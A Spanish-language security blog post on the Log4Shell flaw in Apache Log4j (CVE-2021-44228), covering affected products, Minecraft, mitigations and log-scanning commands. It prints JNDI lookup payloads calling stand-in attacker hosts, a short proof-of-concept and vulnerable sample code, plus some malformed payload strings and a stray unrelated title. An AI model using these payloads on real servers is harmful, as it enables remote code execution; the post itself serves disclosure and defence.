jueves, 24 de marzo de 2022

Ejemplo de herramientas SET y BeEF en Kali.

Vulnerabilidad crítica en Apache Log4j bautizada como Log4Shell

  

Vulnerabilidad crítica en Apache Log4j bautizada como Log4Shell afecta incluso a Minecraft

viernes, 10 de diciembre de 2021 | Publicado por el-brujo 

Una vulnerabilidad zero-day recientemente descubierta en la biblioteca de registro de Java Apache Log4j, ampliamente utilizada (iCloud, Steam, incluso expotable en el chat de Minecraft), es muy fácil de explotar y permite a los atacantes obtener el control total de los servidores afectados. La vulnerabilidad, clasificada como CVE-2021-44228, es muy grave ya que permite la ejecución remota de código sin autenticación cuando el usuario que ejecuta la aplicación utiliza la biblioteca de registro de Java. Afecta Apache Struts2, Apache Solr, Apache Druid, Apache Flink.

Cualquier compañía que en sus servidores o aplicaciones use Apache Log4j, una biblioteca de registro de Java, se está enfrentando a una de las vulnerabilidades más importantes de la última década. Se trata de Log4Shell (CVE-2021-44228), un fallo de seguridad crítico que da como resultado la ejecución remota de código con potencial para tomar el control del equipo. La vulnerabilidad fue descubierta por Chen Zhaojun de Alibaba Cloud Security Team y por su importancia y alcance se compara con Heartbleed y WannaCry.

Log4j 2 es una biblioteca de registro de Java de código abierto desarrollada por Apache Foundation. Log4j 2 se usa ampliamente en muchas aplicaciones y está presente, como dependencia, en muchos servicios. Estos incluyen aplicaciones empresariales, así como numerosos servicios en la nube.

Numerosas apps que utilizan log4j, desde Minecraft hasta Elasticsearch, Zrails, Hadoop, Kafka, Kibana, Solr, Spark, Struts, Tapestry, Wicket...

  • Apache Struts
  • Apache Solr
  • Apache Druid
  • Apache Flink
  • ElasticSearch
  • Flume
  • Apache Dubbo
  • Logstash
  • Kafka
  • Spring-Boot-starter-log4j2

CVE-2021-44228 - Log4Shell


Una vulnerabilidad zero-day recientemente descubierta en la biblioteca de registro de Java Apache Log4j, ampliamente utilizada, es fácil de explotar y permite a los atacantes obtener el control total de los servidores afectados. La vulnerabilidad, clasificada como CVE-2021-44228, es muy grave y permite la ejecución remota de código sin autenticación cuando el usuario que ejecuta la aplicación utiliza la biblioteca de registro de Java.

 

El CERT de Nueva Zelanda advierte que ya está siendo explotada a lo bestia. Una vulnerabilidad de alta gravedad (CVE-2021-44228) que afecta a múltiples versiones de la utilidad Apache Log4j 2 se reveló públicamente a través del GitHub del proyecto el 9 de diciembre de 2021. La vulnerabilidad afecta a las versiones 2.0 a 2.14.1 de Apache Log4j 2.

 

La vulnerabilidad permite la ejecución remota de código no autenticado. Log4j 2 es una biblioteca de registro de Java de código abierto desarrollada por Apache Foundation. Log4j 2 se usa ampliamente en muchas aplicaciones y está presente, como dependencia, en muchos servicios. Estos incluyen aplicaciones empresariales, así como numerosos servicios en la nube.

 

 Se puede acceder a la vulnerabilidad a través de una multitud de métodos específicos de la aplicación. Efectivamente, cualquier escenario que permita que una conexión remota suministre datos arbitrarios que una aplicación que utiliza la biblioteca Log4j escribe en archivos de registro es susceptible de explotación. Es muy probable que esta vulnerabilidad se explote en la naturaleza y es probable que afecte a miles de organizaciones. Esta vulnerabilidad representa un riesgo real significativo para los sistemas afectados.

 

Al analizar CVE-2021-44228, Randori ha determinado lo siguiente:

 

  • Instalaciones predeterminadas de software empresarial ampliamente utilizado son vulnerables.
  • La vulnerabilidad se puede aprovechar de forma fiable y sin autenticación
  • La vulnerabilidad afecta a múltiples versiones de Log4j 2
  • La vulnerabilidad permite la ejecución remota de código cuando el usuario ejecuta la aplicación que utiliza la biblioteca

Impacto  JNDI - Java Naming and Directory Interface

La biblioteca Log4j 2 se utiliza con mucha frecuencia en el software empresarial Java. Debido a esta metodología de implementación, el impacto es difícil de cuantificar. De manera similar a otras vulnerabilidades de alto perfil, como Heartbleed y Shellshock, creemos que se descubrirán un número cada vez mayor de productos vulnerables en las próximas semanas. Debido a la facilidad de explotación y la amplitud de la aplicabilidad, sospechamos que los actores de ransomware comenzarán a aprovechar esta vulnerabilidad de inmediato.

 

 log4j soporta

  •  (AFAIK) LDAP 
  •  RMI (Remote Method Invocation)

Exploit:

 

$(jndi):ldap://sitio-malicioso.com/exp

$(jndi):rdmi://sitio-malicioso.com/exp

¿Cómo funciona la vulnerabilidad?

Diagrama completo:



 



 

Recomendaciones - Mitigaciones

Si crees que puedes verte afectado por CVE-2021-44228, revisa los registros de las aplicaciones afectadas en busca de actividad inusual. Si se encuentran anomalías, te recomendamos que asumas que se trata de un incidente activo, que te has visto comprometido y que respondas en consecuencia.

 

La actualización a las versiones parcheadas de Log4j 2 o las aplicaciones afectadas eliminará esta vulnerabilidad. Randori recomienda a cualquier organización que crea que puede verse afectada que se actualice urgentemente a una versión parcheada.

 

Si no es posible aplicar parches, se recomienda encarecidamente a las organizaciones que apliquen la mitigación temporal a continuación y supervisen de cerca las aplicaciones afectadas para detectar comportamientos anómalos.

 

Para mitigar la vulnerabilidad en lugar de actualizar Log4 2j, el siguiente parámetro debe establecerse en verdadero al iniciar la máquina virtual Java:

 

Para agregar la bandera, los usuarios deben ir a su lanzador, abrir la pestaña de instalaciones, seleccionar la instalación en uso y hacer clic en "..."> "Editar"> "MÁS OPCIONES", y pegar -Dlog4j2.formatMsgNoLookups = true al final de las banderas JVM. 

 

log4j2.formatMsgNoLookups=True

 

Exploit público (PoC)

 

 

package demo; 


import org.apache.logging.log4j.LogManager;

import org.apache.logging.log4j.Logger; 

public class demo {


    public static Logger logger= LogManager.getLogger();

    public static void main(String[] args){

        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");

        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

        logger.error("${jndi:ldap://attacker.com/test}");

 

    }

}

 

Para aprovechar inicialmente la vulnerabilidad, un atacante solo necesita proporcionar literalmente la referencia JNDI (el texto que puede ver en el código fuente). Cuando log4j registra esa entrada, analizará el texto, verá la referencia e intentará resolverlo. Y aquí es donde está realmente el problema.

 Dependiendo de la referencia JNDI, la biblioteca log4j ahora realizará una consulta LDAP o una consulta RMI a la URL de destino. Aquí es donde un atacante puede usar el paquete marshalsec de Moritz Bechler, disponible en https://github.com/mbechler/marshalsec

 Este paquete admite, entre otras cosas, direccionamiento indirecto de referencia JNDI: permite a un atacante configurar un servidor que aceptará la búsqueda JNDI entrante (ya sea LDAP o RMI) y luego creará automáticamente una redirección que apuntará al cliente (en nuestro caso, la biblioteca log4j ) al código base de destino. La biblioteca seguirá la redirección y visitará el servidor de la base de código (al que se accede a través del protocolo HTTP), buscará una clase que se sirva allí y la ejecutará.

 La figura siguiente muestra que el paquete marshalsec crea un servidor de direccionamiento indirecto de referencia JNDI usando el protocolo RMI (para usar uno diferente al PoC). Puede ver que un cliente accedió al servidor y fue redirigido a un stub de carga de clases remoto donde la clase final está esperando ser ejecutada

Explicación y ejemplo de la explotación completa:

https://isc.sans.edu/diary/28120

Parche de Apache:

    public static List<String> getLocalIps() {

        List<String> localIps = new ArrayList<>();

        localIps.add("localhost");

        localIps.add("127.0.0.1");

Detectar la presencia de Log4j en sistemas (Linux y Windows)

 Este script, disponible en GitHub, busca el archivo JndiLookup.class defectuoso en cualquier archivo .jar de su sistema.

 Linux

 sudo grep -r --include "*.jar" JndiLookup.class /

  Windows

 findstr /s /i /c:"JndiLookup.class" C:\*.jar

  

Detectar intentos de explotación de la vulnerabilidad en sus registros (Linux)

 Este script, también disponible en el enlace de GitHub anterior, busca intentos de explotación en archivos sin comprimir en el directorio de registros de Linux /var/log y todos sus subdirectorios:

 Grep

 sudo egrep -I -i -r '\$(\{|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\n]+' /var/log

 Zgrep

sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i '\$(\{|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\n]+

Se han publicado varias herramientas para el análisis de dominios:

¿Quién está afectado? - Jugadores de Minecraft

  • Fallo CRÍTICO detectado en Minecraft en TODAS sus versiones hasta la 1.17
  • Permite RCE tanto en el servidor como en todos los clientes.
  • Se puede explotar con sólo enviar un mensaje en el chat

 

Versiones vulnerables: 

  • Todas las versiones de MC Vanilla
  • Spigot/Forge
  • BungeeCoord

Versiones parcheadas en las últimas horas:

  • Paper
  • Sponge/Magma
  • FlameCord

Muchos, muchos servicios son vulnerables a este exploit. Ya se ha descubierto que los servicios en la nube como Steam, Apple iCloud y aplicaciones como Minecraft son vulnerables.

 

Cualquiera que use Apache Struts probablemente sea vulnerable. Hemos visto vulnerabilidades similares explotadas antes en brechas como la filtración de datos de Equifax de 2017.

 

Muchos proyectos de código abierto como el servidor de Minecraft, Paper, ya han comenzado a parchear el uso de log4j.

 

Actualizaciones (3 horas después de la publicación): según esta publicación de blog (en inglés), las versiones de JDK superiores a 6u211, 7u201, 8u191 y 11.0.1 no se ven afectadas por el vector de ataque LDAP. En estas versiones, com.sun.jndi.ldap.object.trustURLCodebase se establece en falso, lo que significa que JNDI no puede cargar una base de código remota utilizando LDAP.

 

Sin embargo, existen otros vectores de ataque dirigidos a esta vulnerabilidad que pueden resultar en RCE. Dependiendo del código que esté presente en el servidor, un atacante podría aprovechar este código existente para ejecutar una carga útil. En esta publicación de blog se analiza un ataque dirigido a la clase org.apache.naming.factory.BeanFactory, presente en los servidores Apache Tomcat.

Versiones de Apache log4j afectadas

 

2.0 <= Apache log4j <= 2.14.1

Ejemplo Código  vulnerable

import org.apache.log4j.Logger;

 

import java.io.*;

import java.sql.SQLException;

import java.util.*;

 

public class VulnerableLog4jExampleHandler implements HttpHandler {

 

  static Logger log = Logger.getLogger(log4jExample.class.getName());

 

  /**

   * A simple HTTP endpoint that reads the request's User Agent and logs it back.

   * This is basically pseudo-code to explain the vulnerability, and not a full example.

   * @param he HTTP Request Object

   */

  public void handle(HttpExchange he) throws IOException {

    string userAgent = he.getRequestHeader("user-agent");

    

    // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.

    // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}

    log.info("Request User Agent:" + userAgent);

 

    String response = "<h1>Hello There, " + userAgent + "!</h1>";

    he.sendResponseHeaders(200, response.length());

    OutputStream os = he.getResponseBody();

    os.write(response.getBytes());

    os.close();

  }

}

Pasos de explotación

 

  • Los datos del usuario se envían al servidor (a través de cualquier protocolo),
  • El servidor registra los datos en la solicitud, que contienen la carga útil maliciosa: $ {jndi: ldap: //attacker.com/a} (donde attacker.com es un servidor controlado por el atacante),
  • La vulnerabilidad log4j es provocada por esta carga útil y el servidor realiza una solicitud a attacker.com a través de "Java Naming and Directory Interface" (JNDI),
  • Esta respuesta contiene una ruta a un archivo de clase Java remoto (por ejemplo, http://second-stage.attacker.com/Exploit.class) que se inyecta en el proceso del servidor,
  • Esta carga útil inyectada desencadena una segunda etapa y permite que un atacante ejecute código arbitrario

Detección del ataque e IOCs

Florian Roth (aka cyb3rops) creó un repositorio con algunas opciones para la detección y la mitigación así como las reglas de YARA correspondientes. Estos comandos buscan distintos intentos de explotación en /var/log:

# sudo egrep -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+' /var/log

# sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i 

  '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+'

# sudo find /var/log/test/ -type f -exec sh -c "cat {} | 

  sed -e 's/\${lower://'g | tr -d '}' | egrep -i 'jndi:(ldap[s]?|rmi|dns):'"\;

# sudo find /var/log/test/ -name "*.gz" -type f -exec sh -c "zcat {} |

  sed -e 's/\${lower://'g | tr -d '}' | egrep -i 'jndi:(ldap[s]?|rmi|dns):'" \;

Se han publicado las reglas de Suricata y Snort y un plugin para Burp.

Ya se ha iniciado la explotación masiva de esta vulnerabilidad principalmente por operadores de malware para el criptominado. GreyNoise ha publicado un listado de IPs, IOCs y Hashes de atacantes, las que corresponden principalmente a nodos de salida TOR. 


Fuentes:

https://www.lunasec.io/docs/blog/log4j-zero-day/